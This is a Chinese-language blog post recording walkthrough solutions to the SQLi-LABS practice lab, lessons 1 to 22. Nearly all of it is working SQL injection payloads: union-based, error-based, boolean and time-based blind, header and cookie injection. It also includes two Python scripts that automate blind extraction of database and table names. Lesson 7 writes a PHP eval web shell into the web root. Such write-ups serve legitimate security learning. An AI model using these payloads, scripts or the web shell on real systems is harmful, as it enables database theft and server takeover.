乐呵呵同学的博客

lehhair's Blog

sqlilabs-记录

203
2023-07-25

sqlilabs 刷题记录

SQLi-LABS Page-1

less-1(get-error based - single quotes - string)

?id=1' and 1=1 --+
# and 1=1 为真,所以页面正常显示

?id=1' order by 1 --+
# 使用order by来确定表中的列数
?id=1' order by 2 --+

?id=1' order by 3 --+

?id=-1' union select 1,2,3 --+

# 使用union select来确定列的类型
# -1是为了让前面的语句报错,从而显示后面的语句的结果

?id=-1' union select 1,database(),version() --+

?id=-1' union select 1,table_name,3 from information_schema.tables --+

# 使用information_schema.tables来确定表名

?id=-1' union select 1,column_name,3 from information_schema.columns where table_name='users' --+

# 使用information_schema.columns来确定列名

?id=-1' union select 1,group_concat(username,password),2 from users --+

# 使用group_concat来获取数据
# group_concat是mysql的一个函数,用来将多行数据合并成一行

less-2(get-error based - intiger based)

?id=1 and 1=1 --+

# and 1=1 为真,所以页面正常显示

?id=1 order by 1 --+

# 使用order by来确定表中的列数

?id=1 order by 2 --+
?id=1 order by 3 --+

?id=-1 union select 1,2,3 --+

# 使用union select来确定列的类型
# -1是为了让前面的语句报错,从而显示后面的语句的结果

?id=-1 union select 1,database(),version() --+
#爆库名和版本号

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
#爆表名

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

# 爆列名

?id=-1 union select 1,group_concat(username,password),3 from users --+

# 爆数据

less-3(get-error based - singer quotes with twist - string)

?id=1\

# 使用\来转义

?id=') and 1 = 1 --+

# and 1=1 为真,所以页面正常显示

?id=1') order by 1 --+

# 使用order by来确定表中的列数

?id=1') order by 2 --+
?id=1') order by 3 --+

?id=-1') union select 1,2,3 --+

# 使用union select来确定列的类型

?id=-1') union select 1,database(),version() --+

# 爆库名和版本号

?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

# 爆表名

?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

# 爆列名

?id=-1') union select 1,group_concat(username,password),3 from users --+

# 爆数据

less-4(get-error based - double quotes - string)

?id=1\

# 使用\来转义

?id=") and 1 = 1 --+

# and 1=1 为真,所以页面正常显示

?id=1") order by 1 --+

# 使用order by来确定表中的列数

?id=1") order by 2 --+
?id=1") order by 3 --+

?id=-1") union select 1,2,3 --+

# 使用union select来确定列的类型

?id=-1") union select 1,database(),version() --+

# 爆库名和版本号

?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

# 爆表名

?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

# 爆列名

?id=-1") union select 1,group_concat(username,password),3 from users --+

# 爆数据

less-5(get-double injection - single quotes - string)

报错注入主要使用xpath语法错误来进行报错注入,主要利用extractvalue和updatexml两个函数。使用条件:·mysql版本>5.1.5。

  • extractvalue 函数

    正常语法:extractvalue(目标xml文档,xml路径); 第一个参数是string格式,为xml文档对象的名称。 第二个参数是xpath格式的字符串,要求符合xpath语法的字符串,如果不满足要求,则会报错,为了方便开发人员调试会将报错信息放在查询结果中。
    作用:从目标xml中返回包含所查询值的字符串。
    常见用法:id=" and(select extractvalue("anything",concat('~',(注入语句)))),其中~也可以写成其ASCII码0x7e或者换成#$等不满足xpath格式的字符。
    注意:extractvalue() 能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring() 函数截取或 limit 分页,一次查看最多32位。例:substring(name,5,3)截取 name 这个字段 从第5个字符开始 截取之后的3个字符。

  • updatexml 函数

    正常语法:updatexml(目标xml文档,xml路径,更新的内容);
    第一个参数是XML的内容
    第二个参数是需要update的位置XPATH路径
    第三个参数是更新后的内容
    extractvalue() 相同的是都是对第二个参数进行操作的,通过构造非法格式的查询语句,来使其返回错误的信息,并将其更新出来。第一个参数和第三个参数可以随便写。
    常见用法:id='and(select updatexml("anything",concat('~',(注入语句())),"anything"))

  • 先使用extractvalue函数

?id=1' and extractvalue(1,concat('~',(select database()))) --+

# 爆库名 原理是利用extractvalue函数,将查询结果拼接到xml中,从而报错

?id=1' and updatexml(1,concat('~',(select database())),"anything") --+  

# 爆库名 原理是利用updatexml函数,将查询结果拼接到xml中,从而报错

?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1))) --+

# 爆表名

?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1))) --+

# 爆列名

?id=1' and extractvalue(1,concat('~',(select group_concat(username,password) from users))) --+

# 爆数据

less-6(get-double injection - double quotes - string)

?id=1" and extractvalue(1,concat('~',(select database()))) --+

# 爆库名

?id=1" and updatexml(1,concat('~',(select database())),"anything") --+

# 爆库名

?id=1" and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1))) --+

# 爆表名

?id=1" and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1))) --+

# 爆列名

?id=1" and extractvalue(1,concat('~',(select group_concat(username,password) from users))) --+

# 爆数据
  • 使用updatexml函数
?id=1" and updatexml(1,concat('~',(select database())),"anything") --+

# 爆库名

?id=1" and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1)--+
# 爆表名

其他一样

less-7(get-dump into outfile - string)

  • 考察点:select into outfile 语句的使用
    @@datadir的值是mysql数据库的数据目录,一般是/var/lib/mysql@@datadir的值是可以被修改的,所以可以通过修改@@datadir的值来获取web目录的读写权限。
    ps:在第七关没回显,可以在前面的关卡中使用select @@datadir来获取@@datadir的值。
?id=-1')) union select 1,2,'<?php @eval($_POST["mima"])?>' into outfile 'C:\\home\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\yijuhua.php'--+

# 将一句话木马写入到yijuhua.php中

less-8(get-blind - boolian based - single quotes)

  • 盲注:当注入点没有回显时,就需要使用盲注来获取数据。
    盲注分为布尔盲注和时间盲注。
    布尔盲注:利用布尔类型的真假来判断注入语句是否正确。
    时间盲注:利用sleep函数来判断注入语句是否正确。

  • 盲注要用到的常见的函数

    • ascii() 函数:返回字符串的ascii码值
    • mid() 函数:返回字符串的第n个字符
    • length() 函数:返回字符串的长度
    • substr() 函数:返回字符串的子串
    • sleep() 函数:让程序休眠指定的时间

使用布尔盲注

?id=1' and length(database())=6 --+

# 判断数据库名的长度,为下一步判断数据库名的内容做准备

?id=1' and ascii(substr(database(),1,1))=115 --+

# 有回显,说明注入语句正确,可以继续判断下一个字符 通常使用ascii(substr(database(),1,1))来判断第一个字符的ascii码值是否为115,115为s的ascii码值,以此可以编写一个脚本来判断数据库名的长度和内容

# 爆破出数据库名为security

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+

# 爆破数据库有几个表

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+

# 爆破数据库的第一个表名的长度

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8 --+

# 爆破第二个表名的长度

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 2,1))=7 --+

# 爆破第三个表名的长度,以此类推


?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+

# 爆破第一个表名的内容,得到第一个表的第一个字符的ascii码值为101,101为e的ascii码值,以此类推得到第一个表的表名为emails

?id=1' and (select count(column_name) from information_schema.columns where table_name='emails')=2 --+

# 爆破第一个表emails的字段有几个,得到有两个字段

?id=1' and length((select column_name from information_schema.columns where table_name='emails' limit 0,1))=2 --+

# 爆破第一个字段的长度,得到第一个字段的长度为2

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105 --+

# 爆破第一个字段的内容,得到第一个字段的第一个字符的ascii码值为105,105为i的ascii码值,以此类推得到第一个字段的内容为id;substr的第二个参数为1,说明是第一个字符,第三个参数为1,说明是一个字符,所以substr的第二个参数为1,第三个参数为1时,substr的作用是返回字符串的第一个字符

?id=1' and (select count(id) from emails)=8 --+

# 爆破第一个字段里面有几条数据

?id=1' and (select length(id) from emails limit 0,1)=1 --+

?id=1' and (select length(cast(id as char)) from emails limit 0,1)=1 --+

# 爆破第一个字段的第一条数据的长度,如果是数字类型的话,需要使用cast函数将其转换成字符串类型,才能使用length函数,发现字段的内容都是一位数。

?id=1' and ascii(substr((select cast(id as char) from emails limit 0,1),1,1))=49 --+

# 爆破第一个字段的第一条数据的内容,这里我们还是当作字符型来处理,得到第一条数据的内容为1,以此类推得到第一条数据的内容为1,第二条数据的内容为2,第三条数据的内容为3,第四条数据的内容为4,第五条数据的内容为5,第六条数据的内容为6,第七条数据的内容为7,第八条数据的内容为8

通过上面的步骤,我们得到了数据库名为security,有四个表,第一个表名为emails,有两个字段,第一个字段为id,第二个字段为email,第一个字段里面有八条数据,第一条数据的内容为1,第二条数据的内容为2,第三条数据的内容为3,等等。
可以以此学习编写脚本来爆破数据库的内容。
布尔盲注是通过回显来判断注入语句是否正确,所以当注入点没有回显时,就需要使用时间盲注来获取数据。

使用时间盲注


?id=1' and if(length(database())=6,sleep(5),1) --+

# 判断数据库名的长度,如果数据库名的长度为6,则程序休眠5秒,否则程序不休眠

可以看到页面没有回显,但是页面加载的时间变长了,说明注入语句正确。
就不一一列举了,时间盲注的原理和布尔盲注的原理一样,只是判断注入语句是否正确的方式不同,布尔盲注是通过回显来判断注入语句是否正确,时间盲注是通过程序休眠来判断注入语句是否正确。

less-9(get-blind - time based - single quotes)

  • 这里就是没有回显,所以只能使用时间盲注来获取数据
?id=1' and sleep(5) --+

# 程序休眠5秒,说明注入语句正确

?id=1' and if(length(database())=8,sleep(5),1) --+

# 判断数据库名的长度,如果数据库名的长度为8,则程序休眠5秒,否则程序不休眠

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+

# 判断数据库名的第一个字符的ascii码值是否为115,115为s的ascii码值,如果是,则程序休眠5秒,否则程序不休眠

?id=1' and if(ascii(substr(database(),2,1))=101,sleep(5),1) --+

# 判断数据库名的第二个字符的ascii码值是否为101,101为e的ascii码值,如果是,则程序休眠5秒,否则程序不休眠

后面就老套路了,不再赘述

less-10(get-blind - time based - double quotes)

?id=1" and if(length(database())=8,sleep(5),1) --+

# 判断数据库名的长度,如果数据库名的长度为8,则程序休眠5秒,否则程序不休眠

替换成双引号,其他的和单引号一样

less-11(post-error based - single quotes - string)

  • 这里是post注入,所以需要使用burp来抓包来进行注入
    一下payload均为post注入的payload
  • 也可以在浏览器使用hackbar来进行注入注意事项是在post里面将
    uname=admin' and length(database())=8#&passwd=admin& submit =Submit 这里的 submit 要改写成 Submit ,否则会发现没反应
    如果在bp注入可以使用--+来进行注释,如果在hackbar注入可以使用%23来进行注释
uname=admin&passwd=admin' and 1 = 1 --+ &submit=Submit

# 经过测试发现name和password都可以注入,所以这里使用password来注入

uname=admin&passwd=admin' order by 2 --+ &submit=Submit

# 使用order by来确定表中的列数

uname=admin&passwd=-1' union select 1,2 --+ &submit=Submit

# 使用union select来确定列的类型

uname=admin&passwd=-1' union select database(),version() --+ &submit=Submit

# 爆库名和版本号

uname=admin&passwd=-1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() --+ &submit=Submit

# 爆表名

uname=admin&passwd=-1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' --+ &submit=Submit

# 爆列名

uname=admin&passwd=-1' union select group_concat(username,password),2 from users --+ &submit=Submit

# 爆数据

总的来说这里只是请求方式变了,其他的和get注入一样,很奇怪的一点就是hackbar不能用,只能使用burp来抓包来进行注入

less-12(post-error based - double quotes - string - with twist)

uname=admin&passwd=-1" union select group_concat(username,password),2 from users --+ &submit=Submit

# 爆数据

仅仅是将单引号替换成双引号,其他的和上面一样

less-13(post - double injection - single quotes - string - with twist)

uname=&passwd=1\&submit=Submit

# 使用\来测试是否可以注入 发现是')字符型注入

uname=&passwd=') and 1 = 1 --+ &submit=Submit

# 发现并没有回显,所以使用报错注入来获取数据

uname=&passwd=') and extractvalue(1,concat('~',(select database()))) --+ &submit=Submit

# 爆库名

uname=&passwd=') and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1))) --+ &submit=Submit

# 爆表名

uname=&passwd=') and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1))) --+ &submit=Submit

# 爆列名

uname=&passwd=') and extractvalue(1,concat('~',(select group_concat(username,password) from users))) --+ &submit=Submit

# 爆数据

这里其实和前面的报错注入一样,只是请求方式变了,其他的和前面一样

less-14(post - double injection - single quotes - string - with twist)

uname=&passwd=" and extractvalue(1,concat('~',(select group_concat(username,password) from users))) --+ &submit=Submit

# 爆数据

仅仅是替换成双引号,其他的和上面一样

less-15(post-blind-boolian/time based - single quotes)

直接上脚本了

  • 布尔盲注
import requests

url = "http://192.168.21.129/sqlilabs/Less-15/"

def db_name():
    global url
    li = []
    # 破解数据库名长度
    for i in range(1, 15): # 数据库名长度一般不会超过15
        headers = {'Connection': 'close'} # 防止出现ConnectionError
        payload = "admin' and length(database())={}#".format(i)
        param = {"uname": payload, "passwd": "admin"}
        req = requests.post(url, data=param)
        db_length = 0
        if "../images/flag.jpg" in req.text:
            db_length = i # 记录数据库名长度
            break
    print ("数据库名长度为{}".format(db_length)) # 打印数据库名长度

    # 破解数据库名
    
    for i in range(1, db_length+1): # 猜解数据库名
        for j in range(32, 126): # ascii码中32-126为可见字符
            headers = {'Connection': 'close'} # 防止出现ConnectionError
            payload = "admin' and ascii(substr(database(),{},1))={}#".format(i, j)
            param = {"uname": payload, "passwd": "admin"}
            req = requests.post(url, data=param)
            if "../images/flag.jpg" in req.text:                
                li.append(chr(j))
                continue

    return ''.join(li)

def tb_name():
    global url
    table = []
    tb = []
    table_length = []
    # 破解数据库中几张表
    for i in range(1, 20):
        headers = {'Connection': 'close'}
        payload = "admin' and (select count(table_name) from information_schema.tables where table_schema=database())={}#".format(i)
        param = {"uname": payload, "passwd": "admin"}
        req = requests.post(url, data=param)
        if "../images/flag.jpg" in req.text:
            table_num = i
            break

    # 破解数据库中各表的长度
    for i in range(table_num):
        for j in range(1, 20):
            headers = {'Connection': 'close'}
            payload = "admin' and (select length(table_name) from information_schema.tables where table_schema=database() limit {},1)={}#".format(i, j)
            param = {"uname": payload, "passwd": "admin"}
            req = requests.post(url, data=param)
            if "../images/flag.jpg" in req.text:
                table_length.append(j)
                break

    # 破解数据库各表名 
    for i in range(table_num):
        for j in range(1, table_length[i]+1):
            for k in range(32, 126):
                headers = {'Connection': 'close'}
                payload = "admin' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={}#".format(i, j, k)
                param = {"uname": payload, "passwd": "admin"}
                req = requests.post(url, data=param)
                if "../images/flag.jpg" in req.text:
                    tb.append(chr(k))
                    break
        table.append(''.join(tb))
        while table_length[i] > 0:
            tb.pop(-1)
            table_length[i] -= 1
        continue

    return table_num, table

def column_name(table_name):
    global url
    column = []
    co = []
    # 猜解表中有几个字段
    for i in range(1, 20):
        headers = {'Connection': 'close'}
        payload = "admin' and (select count(column_name) from information_schema.columns where table_name='{}')={}#".format(table_name, i)
        param = {"uname": payload, "passwd": "admin"}
        req = requests.post(url, data=param)
        if "../images/flag.jpg" in req.text:
            column_length = i
            break

    # 猜解各字段名长度
    
    for i in range(column_length):
        for j in range(1, 20):
            headers = {'Connection': 'close'}
            payload = "admin' and (select length(column_name) from information_schema.columns where table_name='{}' limit {},1)={}#".format(table_name, i, j)
            param = {"uname": payload, "passwd": "admin"}
            req = requests.post(url, data=param)
            if "../images/flag.jpg" in req.text:
                column_name_length = j
                break
        print ("{}表第{}个字段名长度为{}".format(table_name, i+1, column_name_length))

        for k in range(1, column_name_length+1):
            for l in range(32, 126):
                headers = {'Connection': 'close'}
                payload = "admin' and ascii(substr((select column_name from information_schema.columns where table_name='{}' limit {},1),{},1))={}#".format(table_name, i, k, l)
                param = {"uname": payload, "passwd": "admin"}
                req = requests.post(url, data=param)
                if "../images/flag.jpg" in req.text:
                    co.append(chr(l))
                    break

        column.append(''.join(co))
        while column_name_length > 0:
            co.pop(-1)
            column_name_length -= 1
    print("{}表中字段名为{}".format(table_name, column))

    return column_length


if __name__ == '__main__':
    print("数据库名为{}".format(db_name()))
    tb = tb_name()
    table_num = tb[0]
    table = tb[1]
    print("数据库中共有{}张表".format(table_num))
    print("各表名分别为{}".format(table))
    print("----------------------------------------")
    for i in table:
        print("{}表有{}个字段".format(i, column_name(i)))
        print("----------------------------------------")
  • 时间盲注
import requests
import time

url = "http://192.168.21.129/sqlilabs/Less-"+input(":")+"/"

headers = {'Connection': 'close'} # 防止出现ConnectionError

payload = "admin' and sleep(2)#"
            # post传参的参数  
param = {"uname": payload, "passwd": "admin"}  

start_time = time.time()
response = requests.post(url, data=param)
end_time = time.time()

# 计算时间差
elapsed_time = end_time - start_time

# 判断响应时间是否大于阈值
if elapsed_time > 2:
    print("回显响应时间较长,可能存在时间盲注漏洞")
else:
    print("回显响应时间正常")


############################################################


def db_name():
    global url
    li = []
    # 破解数据库名长度
    for i in range(1, 15): # 数据库名长度一般不会超过15
        headers = {'Connection': 'close'} # 防止出现ConnectionError
        payload = "admin' and if(length(database())={},sleep(2),1)#".format(i)
        param = {"uname": payload, "passwd": "admin"}
        start_time = time.time()
        req = requests.post(url, data=param)
        end_time = time.time()
        elapsed_time = end_time - start_time
        if elapsed_time > 2:
            db_length = i # 记录数据库名长度
            break
    print ("数据库名长度为{}".format(db_length)) # 打印数据库名长度

    # 破解数据库名
    
    for i in range(1, db_length+1): # 猜解数据库名
        for j in range(32, 126): # ascii码中32-126为可见字符
            headers = {'Connection': 'close'} # 防止出现ConnectionError
            url = "http://192.168.21.129/sqlilabs/Less-15/"
            payload = "admin' and if(ascii(substr(database(),{},1))={},sleep(2),1)#".format(i, j)
            param = {"uname": payload, "passwd": "admin"}
            start_time = time.time()
            req = requests.post(url, data=param)
            end_time = time.time()
            elapsed_time = end_time - start_time
            if elapsed_time > 2:
                
                li.append(chr(j))
                continue

    return ''.join(li)



def tb_name():
    global url
    table = []
    tb = []
    table_length = []
    # 破解数据库中几张表
    for i in range(1, 20):
        headers = {'Connection': 'close'}
        payload = "admin' and if((select count(table_name) from information_schema.tables where table_schema=database())={},sleep(2),1)#".format(i)
        param = {"uname": payload, "passwd": "admin"}
        start_time = time.time()
        req = requests.post(url, data=param)
        end_time = time.time()
        elapsed_time = end_time - start_time
        if elapsed_time > 2:
            table_num = i
            break


    # 破解数据库中各表的长度
    for i in range(table_num):
        for j in range(1, 20):
            headers = {'Connection': 'close'}
            payload = "admin' and if((select length(table_name) from information_schema.tables where table_schema=database() limit {},1)={},sleep(2),1)#".format(i, j)
            param = {"uname": payload, "passwd": "admin"}
            start_time = time.time()
            req = requests.post(url, data=param)
            end_time = time.time()
            elapsed_time = end_time - start_time
            if elapsed_time > 2:
                table_length.append(j)
                break

    # 破解数据库各表名
    
    for i in range(table_num):
        for j in range(1, table_length[i]+1):
            for k in range(32, 126):
                headers = {'Connection': 'close'}
                payload = "admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={},sleep(2),1)#".format(i, j, k)
                param = {"uname": payload, "passwd": "admin"}
                start_time = time.time()
                req = requests.post(url, data=param)
                end_time = time.time()
                elapsed_time = end_time - start_time
                if elapsed_time > 2:
                    
                    tb.append(chr(k))
                    break
        table.append(''.join(tb))
        while table_length[i] > 0:
            tb.pop(-1)
            table_length[i] -= 1
        continue

    return table_num, table


def column_name(table_name):
    global url
    column = []
    co = []
    # 猜解表中有几个字段
    for i in range(1, 20):
        headers = {'Connection': 'close'}
        payload = "admin' and if((select count(column_name) from information_schema.columns where table_name='{}')={},sleep(2),1)#".format(table_name, i)
        param = {"uname": payload, "passwd": "admin"}
        start_time = time.time()
        req = requests.post(url, data=param)
        end_time = time.time()
        elapsed_time = end_time - start_time
        if elapsed_time > 2:
            column_length = i
            break

    # 猜解各字段名长度
    
    for i in range(column_length):
        for j in range(1, 20):
            headers = {'Connection': 'close'}
            payload = "admin' and if((select length(column_name) from information_schema.columns where table_name='{}' limit {},1)={},sleep(2),1)#".format(table_name, i, j)
            param = {"uname": payload, "passwd": "admin"}
            start_time = time.time()
            req = requests.post(url, data=param)
            end_time = time.time()
            elapsed_time = end_time - start_time
            if elapsed_time > 2:
                column_name_length = j
                break
        print ("{}表第{}个字段名长度为{}".format(table_name, i+1, column_name_length))

        for k in range(1, column_name_length+1):
            for l in range(32, 126):
                headers = {'Connection': 'close'}
                payload = "admin' and if(ascii(substr((select column_name from information_schema.columns where table_name='{}' limit {},1),{},1))={},sleep(2),1)#".format(table_name, i, k, l)
                param = {"uname": payload, "passwd": "admin"}
                start_time = time.time()
                req = requests.post(url, data=param)
                end_time = time.time()
                elapsed_time = end_time - start_time
                if elapsed_time > 2:
                    
                    co.append(chr(l))
                    break

        column.append(''.join(co))
        while column_name_length > 0:
            co.pop(-1)
            column_name_length -= 1
    print("{}表中字段名为{}".format(table_name, column))

    return column_length


if __name__ == '__main__':
    print("数据库名为{}".format(db_name()))
    tb = tb_name()
    table_num = tb[0]
    table = tb[1]
    print("数据库中共有{}张表".format(table_num))
    print("各表名分别为{}".format(table))
    print("----------------------------------------")
    for i in table:
        print("{}表有{}个字段".format(i, column_name(i)))
        print("----------------------------------------")

less-16(post-blind - boolian/time based - double quotes)

和less-15其实一样,修改一下payload把单引号改成双引号加括号,记得加上转义符

payload = "admin\") and length(database())={}#".format(i)

less-17(post-update query-error based - string)

' or updatexml(1,concat("!",(select database())),2)#

# 爆库

' or updatexml(1,concat("!",(select group_concat(table_name) from information_schema.tables where table_schema = database())),2)#

# 爆表

' or updatexml(1,concat("!",(select group_concat(column_name) from information_schema.columns where table_name = "users")),2)#

# 爆字段

' or updatexml(1,concat("!",(select group_concat(username,password) from users)),2)#

# 返回 You can't specify target table 'users' for update in FROM clause

' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1))#

# 爆数据,原理是先把数据拼接成username:password的形式,然后再用concat_ws函数把数据拼接成一行,最后用limit限制只返回一行数据

less-18(post-header injection - uagent field - errpr based)

  • 注入点在ua
'or updatexml(1,concat('~',(select database()),'~'),1),1,1)#

# 爆库

'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),1,1)#

# 爆表

'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name="users" limit 0,1),0x7e),1),1,1)#

# 爆字段

'or updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1),1,1)#

# 爆数据

或者

'or updatexml(1,concat('~',(select database()),'~'),1) and '1' = '1

less-19(post-header injection - referer field - error based)

  • 注入点在referer
'or updatexml(1,concat('~',(select database()),'~'),1) and '1' = '1

# 爆库

'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) and '1' = '1

# 爆表

'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name="users" limit 0,1),0x7e),1) and '1' = '1

# 爆字段

'or updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) and '1' = '1

# 爆数据
  • 注入点在cookie
uname=-1' union select 1,database(),3 #

# 爆库

uname=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #

# 爆表

uname=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" #

# 爆字段

uname=-1' union select 1,group_concat(username),3 from users #

# 爆数据

less-21(post-dump into outfile - string)

  • 发现其实和less-20一样,不过cookie经过了base64编码,所以要先解码(uname=)是不用编码的
uname=-1') union select 1,database(),3 #
uname=LTEnKSB1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLDMgIw==

# 爆库

uname=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
uname=LTEnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodGFibGVfbmFtZSksMyBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkgIw==

# 爆表

uname=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" #
uname=LTEnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQoY29sdW1uX25hbWUpLDMgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSJ1c2VycyIgIw==

# 爆字段

uname=-1') union select 1,group_concat(username),3 from users #
uname=LTEnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUpLDMgZnJvbSB1c2VycyAj

# 爆数据

less-22(future editions)

  • 和上题一样,但是要把')换成" 记得base64编码
uname=-1" union select 1,database(),3 #
uname=LTEiIHVuaW9uIHNlbGVjdCAxLGRhdGFiYXNlKCksMyAj

到此是2023年7月28日SQLi-LABS Page-1部分结束